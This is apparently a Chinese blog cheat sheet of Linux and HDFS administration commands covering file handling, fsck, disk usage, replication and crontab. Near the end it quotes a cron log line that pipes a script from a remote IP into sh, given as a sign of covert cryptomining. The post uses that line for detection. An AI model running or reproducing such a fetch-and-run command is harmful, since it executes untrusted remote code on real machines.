使用linux时用到的命令

1.要从HDFS中删除文件/文件夹,可以使用以下命令:

hadoop fs -rm -r -skipTrash /path_to_file/file_name

2.上传文件到HDFS

hadoop fs -put cdh_version.properties /user

3.查看HDFS文件系统里test.txt的内容

hadoop fs –cat /user/sunlightcs/test.txt

4.查看/etc/profile的前10行内容,应该是:

# head -n 10 /etc/profile

5.查看/etc/profile的最后5行内容,应该是:

# tail  -n 5 /etc/profile

6.查看并列出所有文件状态

hdfs fsck /path_to_file -files

7.查看文件中损坏的块

hdfs fsck /path_to_file -list-corruptfileblocks

8.打印文件快的位置信息(打印机架位置加个 -racks)

hdfs fsck /path_to_file -files -blocks -locations

9.查看hdfs文件夹大小

hadoop fs -du -s -h +文件夹名

第一列标示该目录下总文件大小
第二列标示该目录下所有文件在集群上的总存储大小和你的副本数相关,我的副本数是3 ,所以第二列的是第一列的三倍 (第二列内容=文件大小*副本数)
第三列标示你查询的目录

10.修改hdfs文件备份系数,把目录下所有文件备份系数设置为1

hadoop dfs -setrep -w 1 -R /user/hadoop/dir1 

11.合并hdfs中的小文件

hadoop fs -cat hdfs:///user/hdfs/source/log/server/20181127/.* | hadoop fs -appendToFile - hdfs:///user/hdfs/source/log/server/20181127/1.txt

12.重用名

hadoop dfs -mv /hello1 /hello2

13.查看HDFS中文件占用的大小

hadoop fs -du -h /path_name

14.查看一下HDFS集群节点容量

hdfs dfs -df -h

15.查看集群容量

df -h

16.监控文件更新情况

tail -f filename

17.查找文件

find /path -name filename“

18.查看某进程

ps -aux | grep xxx

19.查询文件或文件夹使用情况

du -h --max-depth=1 /opt/

查看crontab任务执行情况

tail -f /var/log/cron

查看定时任务

crontab -l 

修改定时任务

crontab -e

查看java进程

ps aux | grep java

运行 tail -F /var/log/cron

显示有

 (yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)

则说明有人偷偷挖矿

//查看当前所有tcp端口

netstat -ntlp   

HOSTS文件位置:

Windows下在C:\windows\system32\drivers\etc

linux下在
“etc/hosts”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值